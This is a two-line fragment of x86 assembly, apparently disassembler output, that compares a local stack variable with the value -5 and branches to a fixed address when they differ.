cmp dword [ebp - 0x14], 0xfffffffb
jne 0x1003b44e